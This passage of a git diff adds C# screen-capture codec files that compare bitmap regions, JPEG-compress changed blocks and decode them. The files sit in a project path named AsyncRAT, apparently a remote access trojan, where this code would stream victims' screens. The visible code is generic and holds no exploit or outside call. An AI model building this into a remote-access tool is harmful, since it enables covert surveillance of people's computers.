EncodeBuffer) + { + byte[] temp = null; + using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0)) + { + temp = base.jpgCompression.Compress(TmpBmp); + } + + outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); + outStream.Write(temp, 0, temp.Length); + NativeMethods.memcpy(new IntPtr(ptr), Scan0, (uint)RawLength); + } + return; + } + + if (this.EncodedFormat != Format) + throw new Exception("PixelFormat is not equal to previous Bitmap"); + if (this.EncodedWidth != ImageSize.Width || this.EncodedHeight != ImageSize.Height) + throw new Exception("Bitmap width/height are not equal to previous bitmap"); + if (ScanArea.Width > ImageSize.Width || ImageSize.Height > this.EncodedHeight) + throw new Exception("Scan Area Width/Height cannot be greater then the encoded image"); + + + List Blocks = new List(); //all the changes + fixed (byte* encBuffer = EncodeBuffer) + { + //1. Check for the changes in height + for (int y = ScanArea.Y; y < ScanArea.Height; y++) + { + Rectangle cBlock = new Rectangle(0, y, ImageSize.Width, 1); + + if (onCodeDebugScan != null) + onCodeDebugScan(cBlock); + + int Offset = FastBitmap.CalcImageOffset(0, y, Format, ImageSize.Width); + if (NativeMethods.memcmp(encBuffer + Offset, pScan0 + Offset, (uint)Stride) != 0) + { + int index = Blocks.Count - 1; + if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y) + { + cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height); + Blocks[index] = cBlock; + } + else + { + Blocks.Add(cBlock); + } + } + } + + //2. Capture all the changes using the CheckBlock + List finalUpdates = new List(); + for (int i = 0; i < Blocks.Count; i++) + { + Rectangle scanBlock = Blocks[i]; + + //go through the Blocks + for (int y = scanBlock.Y; y < scanBlock.Height; y += CheckBlock.Height) + { + for (int x = scanBlock.X; x < scanBlock.Width; x += CheckBlock.Width) + { + int blockWidth = x + CheckBlock.Width < scanBlock.Width ? CheckBlock.Width : scanBlock.Width - x; + int blockHeight = y + CheckBlock.Height < scanBlock.Height ? CheckBlock.Height : scanBlock.Height - y; + Rectangle cBlock = new Rectangle(x, y, blockWidth, blockHeight); + + if (onCodeDebugScan != null) + onCodeDebugScan(cBlock); + + //scan the block from Top To Bottom and check for changes + bool FoundChanges = false; + for (int blockY = y; blockY < y + blockHeight; blockY++) + { + int Offset = FastBitmap.CalcImageOffset(x, blockY, Format, blockWidth); + if (NativeMethods.memcmp(encBuffer + Offset, pScan0 + Offset, (uint)Stride) != 0) + { + FoundChanges = true; + break; + } + } + + if (FoundChanges) + { + int index = finalUpdates.Count - 1; + if (finalUpdates.Count > 0 && (finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X) + { + Rectangle rect = finalUpdates[index]; + int newWidth = cBlock.Width + rect.Width; + cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height); + finalUpdates[index] = cBlock; + } + else + { + finalUpdates.Add(cBlock); + } + } + } + } + } + + //maybe a too hard algorithm but oh well + SortedList> Array = finalUpdates.ToArray().RectanglesTo2D().Rectangle2DToRows(); + List FinalTemp = new List(); + + for (int i = 0; i < Array.Values.Count; i++) + { + FinalTemp.AddRange(Array.Values[i].Values); + } + + //fixup the height + for (int i = 0; i < FinalTemp.Count; ) + { + if (FinalTemp.Count == 1) + { + FinalTemp.Add(FinalTemp[i]); + break; + } + + if (i + 1 < FinalTemp.Count) + { + Rectangle curRect = FinalTemp[i]; + Rectangle nextRect = FinalTemp[i + 1]; + if ((curRect.Y + curRect.Height) == nextRect.Y && curRect.Width == nextRect.Width) + { + FinalTemp[i] = new Rectangle(curRect.X, curRect.Y, curRect.Width, curRect.Height + curRect.Height); + FinalTemp.RemoveAt(i + 1); + } + else + { + i++; + } + } + else + { + break; + } + } + + //copy changes to the EncodeBuffer and Process the Output + long oldPos = outStream.Position; + outStream.Write(new byte[4], 0, 4); + int TotalDataLength = 0; + + for (int i = 0; i < FinalTemp.Count; i++) + { + Rectangle rect = FinalTemp[i]; + int blockStride = PixelSize * rect.Width; + + //copy changes to EncodeBuffer + for (int y = rect.Y; y < rect.Y + rect.Height; y++) + { + int Offset = FastBitmap.CalcImageOffset(rect.X, y, Format, rect.Width); + NativeMethods.memcpy(encBuffer + Offset, pScan0 + Offset, (uint)blockStride); //copy-changes + } + + Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format); + BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat); + for (int j = 0, offset = 0; j < rect.Height; j++) + { + int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X); + NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes + offset += blockStride; + } + TmpBmp.UnlockBits(TmpData); + + outStream.Write(BitConverter.GetBytes(rect.X), 0, 4); + outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4); + outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4); + outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4); + outStream.Write(new byte[4], 0, 4); + + long length = outStream.Position; + long OldPos = outStream.Position; + base.jpgCompression.Compress(TmpBmp, ref outStream); + length = outStream.Position - length; + + outStream.Position = OldPos - 4; + outStream.Write(BitConverter.GetBytes((int)length), 0, 4); + outStream.Position += length; + TmpBmp.Dispose(); + TotalDataLength += (int)length + (4 * 5); + } + + outStream.Position = oldPos; + outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4); + Blocks.Clear(); + } + } + } + + public override unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length) + { + if (Length < 4) + return decodedBitmap; + + int DataSize = *(int*)(CodecBuffer); + if (decodedBitmap == null) + { + byte[] temp = new byte[DataSize]; + fixed (byte* tempPtr = temp) + { + NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + 4), (uint)DataSize); + } + + this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); + return decodedBitmap; + } + + byte* bufferPtr = (byte*)CodecBuffer.ToInt32(); + if (DataSize > 0) + { + Graphics g = Graphics.FromImage(decodedBitmap); + for (int i = 4; DataSize > 0; ) + { + Rectangle rect = new Rectangle(*(int*)(bufferPtr + i), *(int*)(bufferPtr + i + 4), + *(int*)(bufferPtr + i + 8), *(int*)(bufferPtr + i + 12)); + int UpdateLen = *(int*)(bufferPtr + i + 16); + byte[] temp = new byte[UpdateLen]; + + fixed (byte* tempPtr = temp) + { + NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + i + 20), (uint)UpdateLen); + using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * 3, decodedBitmap.PixelFormat, new IntPtr(tempPtr))) + { + g.DrawImage(TmpBmp, new Point(rect.X, rect.Y)); + } + } + DataSize -= UpdateLen + (4 * 5); + i += UpdateLen + (4 * 5); + } + g.Dispose(); + } + return decodedBitmap; + } + + public override Bitmap DecodeData(Stream inStream) + { + byte[] temp = new byte[4]; + inStream.Read(temp, 0, 4); + int DataSize = BitConverter.ToInt32(temp, 0); + + if (decodedBitmap == null) + { + temp = new byte[DataSize]; + inStream.Read(temp, 0, temp.Length); + this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); + return decodedBitmap; + } + + List updates = new List(); + Rectangle rect; + Graphics g = Graphics.FromImage(decodedBitmap); + Bitmap tmp; + byte[] buffer = null; + MemoryStream m; + + while (DataSize > 0) + { + byte[] tempData = new byte[4 * 5]; + inStream.Read(tempData, 0, tempData.Length); + + rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4), + BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12)); + int UpdateLen = BitConverter.ToInt32(tempData, 16); + buffer = new byte[UpdateLen]; + inStream.Read(buffer, 0, buffer.Length); + + if (onDecodeDebugScan != null) + onDecodeDebugScan(rect); + + m = new MemoryStream(buffer); + tmp = (Bitmap)Image.FromStream(m); + g.DrawImage(tmp, rect.Location); + tmp.Dispose(); + + m.Close(); + m.Dispose(); + DataSize -= UpdateLen + (4 * 5); + } + g.Dispose(); + return decodedBitmap; + } + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeOptimizedCodec.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeOptimizedCodec.cs new file mode 100644 index 0000000..e4df368 --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeOptimizedCodec.cs @@ -0,0 +1,473 @@ +using StreamLibrary.src; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; +using System.Text; + +namespace StreamLibrary.UnsafeCodecs +{ + public class UnsafeOptimizedCodec : IUnsafeCodec + { + private class PopulairPoint + { + public Rectangle Rect; + public int Score; + public Stopwatch LastUpdate; + + public PopulairPoint(Rectangle rect) + { + this.Rect = rect; + this.Score = 0; + this.LastUpdate = Stopwatch.StartNew(); + } + } + + public override ulong CachedSize + { + get; + internal set; + } + + public override int BufferCount + { + get { return 1; } + } + + public override CodecOption CodecOptions + { + get { return CodecOption.RequireSameSize; } + } + + public Size CheckBlock { get; private set; } + private object ImageProcessLock = new object(); + private byte[] EncodeBuffer; + private Bitmap decodedBitmap; + private PixelFormat EncodedFormat; + private int EncodedWidth; + private int EncodedHeight; + private List populairPoints; + public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; + public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; + private Stopwatch ScreenRefreshSW = Stopwatch.StartNew(); + + //options + /// If a part in the image is been changing for the last x milliseconds it will be seen as a video + public uint AliveTimeForBeingVideo = 5000; + /// This will check if the video went away or stopped playing so it will refresh the other parts in the image + public uint ScreenRefreshTimer = 2000; + /// The size for being a video, if bigger or equal to the VideoScreenSize it must be a video + public Size VideoScreenSize = new Size(100, 100); + + /// + /// Initialize a new object of UnsafeOptimizedCodec + /// + /// The quality to use between 0-100 + public UnsafeOptimizedCodec(int ImageQuality = 100) + : base(ImageQuality) + { + this.populairPoints = new List(); + this.CheckBlock = new Size(15, 1); + } + + public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream) + { + lock (ImageProcessLock) + { + byte* pScan0 = (byte*)Scan0.ToInt32(); + if (!outStream.CanWrite) + throw new Exception("Must have access to Write in the Stream"); + + int Stride = 0; + int RawLength = 0; + int PixelSize = 0; + + switch (Format) + { + case PixelFormat.Format24bppRgb: + PixelSize = 3; + break; + case PixelFormat.Format32bppArgb: + case PixelFormat.Format32bppPArgb: + PixelSize = 4; + break; + default: + throw new NotSupportedException(Format.ToString()); + } + + Stride = ImageSize.Width * PixelSize; + RawLength = Stride * ImageSize.Height; + + if (EncodeBuffer == null) + { + this.EncodedFormat = Format; + this.EncodedWidth = ImageSize.Width; + this.EncodedHeight = ImageSize.Height; + this.EncodeBuffer = new byte[RawLength]; + fixed (byte* ptr = EncodeBuffer) + { + byte[] temp = null; + using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0)) + { + temp = base.jpgCompression.Compress(TmpBmp); + } + + outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); + outStream.Write(temp, 0, temp.Length); + NativeMethods.memcpy(new IntPtr(ptr), Scan0, (uint)RawLength); + } + return; + } + + if (ScreenRefreshSW.ElapsedMilliseconds > ScreenRefreshTimer) + { + for (int i = 0; i < populairPoints.Count; i++) + { + if (populairPoints[i].Score == 0 || populairPoints[i].LastUpdate.Elapsed.Seconds > 5) + { + populairPoints.RemoveAt(i); + } + } + ScreenRefreshSW = Stopwatch.StartNew(); + } + + long oldPos = outStream.Position; + outStream.Write(new byte[4], 0, 4); + int TotalDataLength = 0; + + List updates = new List(); + MemoryStream ms = new MemoryStream(); + byte[] buffer = null; + + if (this.EncodedFormat != Format) + throw new Exception("PixelFormat is not equal to previous Bitmap"); + + if (this.EncodedWidth != ImageSize.Width || this.EncodedHeight != ImageSize.Height) + throw new Exception("Bitmap width/height are not equal to previous bitmap"); + + List Blocks = new List(); + int index = 0; + + Size s = new Size(ScanArea.Width, CheckBlock.Height); + Size lastSize = new Size(ScanArea.Width % CheckBlock.Width, ScanArea.Height % CheckBlock.Height); + + int lasty = ScanArea.Height - lastSize.Height; + int lastx = ScanArea.Width - lastSize.Width; + + Rectangle cBlock = new Rectangle(); + List finalUpdates = new List(); + + PopulairPoint[] points = GetPossibleVideos(); + if (points.Length > 0) + { + ScanArea = new Rectangle(points[0].Rect.X, points[0].Rect.Y, points[0].Rect.Width + points[0].Rect.X, points[0].Rect.Height + points[0].Rect.Y); + } + + s = new Size(ScanArea.Width, s.Height); + fixed (byte* encBuffer = EncodeBuffer) + { + if (points.Length == 0) //only scan if there is no video + { + for (int y = ScanArea.Y; y != ScanArea.Height; ) + { + if (y == lasty) + s = new Size(ScanArea.Width, lastSize.Height); + cBlock = new Rectangle(ScanArea.X, y, ScanArea.Width, s.Height); + + int offset = (y * Stride) + (ScanArea.X * PixelSize); + if (NativeMethods.memcmp(encBuffer + offset, pScan0 + offset, (uint)Stride) != 0) + { + if (onCodeDebugScan != null) + onCodeDebugScan(cBlock); + + index = Blocks.Count - 1; + if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y) + { + cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height); + Blocks[index] = cBlock; + } + else + { + Blocks.Add(cBlock); + } + } + y += s.Height; + } + + for (int i = 0, x = ScanArea.X; i < Blocks.Count; i++) + { + s = new Size(CheckBlock.Width, Blocks[i].Height); + x = ScanArea.X; + while (x != ScanArea.Width) + { + if (x == lastx) + s = new Size(lastSize.Width, Blocks[i].Height); + + cBlock = new Rectangle(x, Blocks[i].Y, s.Width, Blocks[i].Height); + bool FoundChanges = false; + int blockStride = PixelSize * cBlock.Width; + + for (int j = 0; j < cBlock.Height; j++) + { + int blockOffset = (Stride * (cBlock.Y + j)) + (PixelSize * cBlock.X); + if (NativeMethods.memcmp(encBuffer + blockOffset, pScan0 + blockOffset, (uint)blockStride) != 0) + FoundChanges = true; + NativeMethods.memcpy(encBuffer + blockOffset, pScan0 + blockOffset, (uint)blockStride); //copy-changes + } + + if (onCodeDebugScan != null) + onCodeDebugScan(cBlock); + + if (FoundChanges) + { + index = finalUpdates.Count - 1; + if (finalUpdates.Count > 0 && (finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X) + { + Rectangle rect = finalUpdates[index]; + int newWidth = cBlock.Width + rect.Width; + cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height); + finalUpdates[index] = cBlock; + } + else + { + finalUpdates.Add(cBlock); + } + } + x += s.Width; + } + } + } + else + { + finalUpdates.Add(points[0].Rect); + } + } + + for (int i = 0; i < finalUpdates.Count; i++) + { + Rectangle rect = finalUpdates[i]; + int blockStride = PixelSize * rect.Width; + + Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format); + BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat); + for (int j = 0, offset = 0; j < rect.Height; j++) + { + int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X); + NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes + offset += blockStride; + } + TmpBmp.UnlockBits(TmpData); + + outStream.Write(BitConverter.GetBytes(rect.X), 0, 4); + outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4); + outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4); + outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4); + outStream.Write(new byte[4], 0, 4); + + long length = outStream.Position; + long OldPos = outStream.Position; + base.jpgCompression.Compress(TmpBmp, ref outStream); + length = outStream.Position - length; + + outStream.Position = OldPos - 4; + outStream.Write(BitConverter.GetBytes((int)length), 0, 4); + outStream.Position += length; + + if (rect.Width > VideoScreenSize.Width && rect.Height > VideoScreenSize.Height) + { + PopulairPoint point = null; + if (GetPopulairPoint(rect, ref point)) + { + point.Score++; + point.LastUpdate = Stopwatch.StartNew(); + //Console.WriteLine("[" + populairPoints.Count + "]Video spotted at x:" + rect.X + ", y:" + rect.Y + ", width:" + rect.Width + ", height:" + rect.Height); + } + else + { + populairPoints.Add(new PopulairPoint(rect)); + } + } + + TmpBmp.Dispose(); + TotalDataLength += (int)length + (4 * 5); + } + + /*for (int i = 0; i < finalUpdates.Count; i++) + { + Rectangle rect = finalUpdates[i]; + int blockStride = PixelSize * rect.Width; + buffer = new byte[blockStride * rect.Height]; + + fixed (byte* ptr = buffer) + { + for (int j = 0, offset = 0; j < rect.Height; j++) + { + int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X); + NativeMethods.memcpy(ptr + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes + offset += blockStride; + } + + using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * PixelSize, Format, new IntPtr(ptr))) + { + buffer = base.jpgCompression.Compress(TmpBmp); + + if (rect.Width > VideoScreenSize.Width && rect.Height > VideoScreenSize.Height) + { + PopulairPoint point = null; + if (GetPopulairPoint(rect, ref point)) + { + point.Score++; + point.LastUpdate = Stopwatch.StartNew(); + Console.WriteLine("[" + populairPoints.Count + "]Video spotted at x:" + rect.X + ", y:" + rect.Y + ", width:" + rect.Width + ", height:" + rect.Height); + } + else + { + populairPoints.Add(new PopulairPoint(rect)); + } + } + } + } + + outStream.Write(BitConverter.GetBytes(rect.X), 0, 4); + outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4); + outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4); + outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4); + outStream.Write(BitConverter.GetBytes(buffer.Length), 0, 4); + outStream.Write(buffer, 0, buffer.Length); + TotalDataLength += buffer.Length + (4 * 5); + }*/ + + outStream.Position = oldPos; + outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4); + Blocks.Clear(); + ms.Close(); + ms.Dispose(); + } + } + + public override unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length) + { + if (Length < 4) + return decodedBitmap; + + int DataSize = *(int*)(CodecBuffer); + if (decodedBitmap == null) + { + byte[] temp = new byte[DataSize]; + fixed (byte* tempPtr = temp) + { + NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + 4), (uint)DataSize); + } + + this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); + return decodedBitmap; + } + + byte* bufferPtr = (byte*)CodecBuffer.ToInt32(); + if (DataSize > 0) + { + Graphics g = Graphics.FromImage(decodedBitmap); + for (int i = 4; DataSize > 0; ) + { + Rectangle rect = new Rectangle(*(int*)(bufferPtr + i), *(int*)(bufferPtr + i + 4), + *(int*)(bufferPtr + i + 8), *(int*)(bufferPtr + i + 12)); + int UpdateLen = *(int*)(bufferPtr + i + 16); + byte[] temp = new byte[UpdateLen]; + + fixed(byte* tempPtr = temp) + { + NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + i + 20), (uint)UpdateLen); + using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * 3, decodedBitmap.PixelFormat, new IntPtr(tempPtr))) + { + g.DrawImage(TmpBmp, new Point(rect.X, rect.Y)); + } + } + DataSize -= UpdateLen + (4 * 5); + i += UpdateLen + (4 * 5); + } + g.Dispose(); + } + return decodedBitmap; + } + + public override Bitmap DecodeData(Stream inStream) + { + byte[] temp = new byte[4]; + inStream.Read(temp, 0, 4); + int DataSize = BitConverter.ToInt32(temp, 0); + + if (decodedBitmap == null) + { + temp = new byte[DataSize]; + inStream.Read(temp, 0, temp.Length); + this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); + return decodedBitmap; + } + + List updates = new List(); + Rectangle rect; + Graphics g = Graphics.FromImage(decodedBitmap); + Bitmap tmp; + byte[] buffer = null; + MemoryStream m; + + while (DataSize > 0) + { + byte[] tempData = new byte[4 * 5]; + inStream.Read(tempData, 0, tempData.Length); + + rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4), + BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12)); + int UpdateLen = BitConverter.ToInt32(tempData, 16); + buffer = new byte[UpdateLen]; + inStream.Read(buffer, 0, buffer.Length); + + if (onDecodeDebugScan != null) + onDecodeDebugScan(rect); + + m = new MemoryStream(buffer); + tmp = (Bitmap)Image.FromStream(m); + g.DrawImage(tmp, rect.Location); + tmp.Dispose(); + + m.Close(); + m.Dispose(); + DataSize -= UpdateLen + (4 * 5); + } + g.Dispose(); + return decodedBitmap; + } + + private bool GetPopulairPoint(Rectangle rect, ref PopulairPoint PopuPoint) + { + for (int i = 0; i < populairPoints.Count; i++) + { + PopulairPoint point = populairPoints[i]; + if (point.Rect.Width == rect.Width && + point.Rect.Height == rect.Height && + point.Rect.X == rect.X && + point.Rect.Y == rect.Y) + { + PopuPoint = populairPoints[i]; + return true; + } + } + return false; + } + + private PopulairPoint[] GetPossibleVideos() + { + List points = new List(); + for (int i = 0; i < populairPoints.Count; i++) + { + if (populairPoints[i].Score > 30) + { + points.Add(populairPoints[i]); + } + } + return points.ToArray(); + } + } +} diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeQuickStream.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeQuickStream.cs new file mode 100644 index 0000000..0719bd9 --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeQuickStream.cs @@ -0,0 +1,285 @@ +using StreamLibrary.src; +using System; +using System.Collections.Generic; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; +using System.Text; + +namespace StreamLibrary.UnsafeCodecs +{ + public class UnsafeQuickStream : IUnsafeCodec + { + public override ulong CachedSize { get; internal set; } + public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; + public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; + + public override int BufferCount + { + get { return 0; } + } + + public override CodecOption CodecOptions + { + get { return CodecOption.AutoDispose | CodecOption.RequireSameSize; } + } + private PixelFormat EncodedFormat; + private int EncodedWidth; + private int EncodedHeight; + private ulong[] EncodeBuffer; + + private int BlockWidth = 0; + private int BlockHeight = 0; + private Bitmap decodedBitmap; + + public List VerifyPoints = null; + + public Size CheckBlock { get; private set; } + public UnsafeQuickStream(int ImageQuality = 100) + : base(ImageQuality) + { + this.CheckBlock = new Size(50, 50);//width must be bigger then 3 + } + + public override unsafe void CodeImage(IntPtr Scan0, Rectangle OutputRect, Size InputSize, PixelFormat Format, Stream outStream) + { + byte* pScan0 = (byte*)Scan0.ToInt32(); + if (!outStream.CanWrite) + throw new Exception("Must have access to Write in the Stream"); + + int Stride = 0; + int RawLength = 0; + int PixelSize = 0; + + switch (Format) + { + case PixelFormat.Format24bppRgb: + PixelSize = 3; + break; + case PixelFormat.Format32bppArgb: + case PixelFormat.Format32bppPArgb: + PixelSize = 4; + break; + default: + throw new NotSupportedException(Format.ToString()); + } + + Stride = InputSize.Width * PixelSize; + RawLength = Stride * InputSize.Height; + + + if (EncodedWidth == 0 && EncodedHeight == 0) + { + this.EncodedFormat = Format; + this.EncodedWidth = OutputRect.Width; + this.EncodedHeight = OutputRect.Height; + + byte[] temp = null; + using (Bitmap TmpBmp = new Bitmap(OutputRect.Width, OutputRect.Height, Stride, Format, Scan0)) + { + temp = base.jpgCompression.Compress(TmpBmp); + } + outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); + outStream.Write(temp, 0, temp.Length); + return; + } + + List Points = ProcessChanges(Scan0, OutputRect, Format, InputSize.Width); + + VerifyPoints = Points; + long oldPos = outStream.Position; + outStream.Write(new byte[4], 0, 4); + int TotalDataLength = 0; + for (int i = 0; i < Points.Count; i++) + { + Rectangle rect = Points[i]; + int blockStride = PixelSize * rect.Width; + + Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format); + BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat); + for (int j = 0, offset = 0; j < rect.Height; j++) + { + int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X); + NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes + offset += blockStride; + } + TmpBmp.UnlockBits(TmpData); + + outStream.Write(BitConverter.GetBytes(rect.X), 0, 4); + outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4); + outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4); + outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4); + outStream.Write(new byte[4], 0, 4); + + long length = outStream.Position; + long OldPos = outStream.Position; + base.jpgCompression.Compress(TmpBmp, ref outStream); + length = outStream.Position - length; + + outStream.Position = OldPos - 4; + outStream.Write(BitConverter.GetBytes((int)length), 0, 4); + outStream.Position += length; + + TmpBmp.Dispose(); + TotalDataLength += (int)length + (4 * 5); + } + outStream.Position = oldPos; + outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4); + } + + private unsafe List ProcessChanges(IntPtr Scan0, Rectangle OutputRect, PixelFormat Format, int ImageWidth) + { + if (EncodeBuffer == null) + { + this.BlockWidth = (int)Math.Floor((float)(OutputRect.Width / CheckBlock.Width)); + this.BlockHeight = (int)Math.Floor((double)(OutputRect.Height / CheckBlock.Height)); + int TotalBlocks = (int)Math.Floor((float)(BlockHeight * BlockWidth)); + this.EncodeBuffer = new ulong[TotalBlocks]; + } + + List points = new List(); + int StartScan = Scan0.ToInt32(); + + for (int y = OutputRect.Y; y < OutputRect.Height + OutputRect.Y; y += CheckBlock.Height) + { + if (y + CheckBlock.Height > OutputRect.Height) + break; + + for (int x = OutputRect.X; x < OutputRect.Width + OutputRect.X; x += CheckBlock.Width) + { + if (x + CheckBlock.Width > OutputRect.Width) + break; + + int EncodeOffset = GetOffset(x, y); + long offset = FastBitmap.CalcImageOffset(x, y, Format, ImageWidth); + ulong* ScanPtr = (ulong*)(StartScan + offset); + + if (EncodeBuffer[EncodeOffset] != *ScanPtr) + { + EncodeBuffer[EncodeOffset] = *ScanPtr; + + Rectangle cBlock = new Rectangle(x, y, CheckBlock.Width, CheckBlock.Height); + int index = points.Count - 1; + if (points.Count > 0 && (points[index].X + points[index].Width) == cBlock.X) + { + Rectangle rect = points[index]; + int newWidth = cBlock.Width + rect.Width; + cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height); + points[index] = cBlock; + } + else + { + points.Add(cBlock); + } + } + } + } + return points; + } + + private Point GetOffsetPoint(int x, int y) + { + return new Point((int)Math.Floor((float)(y / CheckBlock.Height)) * BlockWidth, + (int)Math.Floor((double)(x / CheckBlock.Width))); + } + + private int GetOffset(int x, int y) + { + return (int)Math.Floor((float)(y / CheckBlock.Height)) * BlockWidth + + (int)Math.Floor((double)(x / CheckBlock.Width)); + } + + public override unsafe System.Drawing.Bitmap DecodeData(System.IO.Stream inStream) + { + byte[] temp = new byte[4]; + inStream.Read(temp, 0, 4); + int DataSize = BitConverter.ToInt32(temp, 0); + + if (decodedBitmap == null) + { + temp = new byte[DataSize]; + inStream.Read(temp, 0, temp.Length); + this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); + return decodedBitmap; + } + + List updates = new List(); + Rectangle rect; + Graphics g = Graphics.FromImage(decodedBitmap); + Bitmap tmp; + byte[] buffer = null; + MemoryStream m; + + while (DataSize > 0) + { + byte[] tempData = new byte[4 * 5]; + inStream.Read(tempData, 0, tempData.Length); + + rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4), + BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12)); + int UpdateLen = BitConverter.ToInt32(tempData, 16); + buffer = new byte[UpdateLen]; + inStream.Read(buffer, 0, buffer.Length); + + if (onDecodeDebugScan != null) + onDecodeDebugScan(rect); + + m = new MemoryStream(buffer); + tmp = (Bitmap)Image.FromStream(m); + g.DrawImage(tmp, rect.Location); + tmp.Dispose(); + + m.Close(); + m.Dispose(); + DataSize -= UpdateLen + (4 * 5); + } + g.Dispose(); + return decodedBitmap; + } + + public override unsafe System.Drawing.Bitmap DecodeData(IntPtr CodecBuffer, uint Length) + { + if (Length < 4) + return decodedBitmap; + + int DataSize = *(int*)(CodecBuffer); + if (decodedBitmap == null) + { + byte[] temp = new byte[DataSize]; + fixed (byte* tempPtr = temp) + { + NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + 4), (uint)DataSize); + } + + this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); + return decodedBitmap; + } + + byte* bufferPtr = (byte*)CodecBuffer.ToInt32(); + if (DataSize > 0) + { + Graphics g = Graphics.FromImage(decodedBitmap); + for (int i = 4; DataSize > 0; ) + { + Rectangle rect = new Rectangle(*(int*)(bufferPtr + i), *(int*)(bufferPtr + i + 4), + *(int*)(bufferPtr + i + 8), 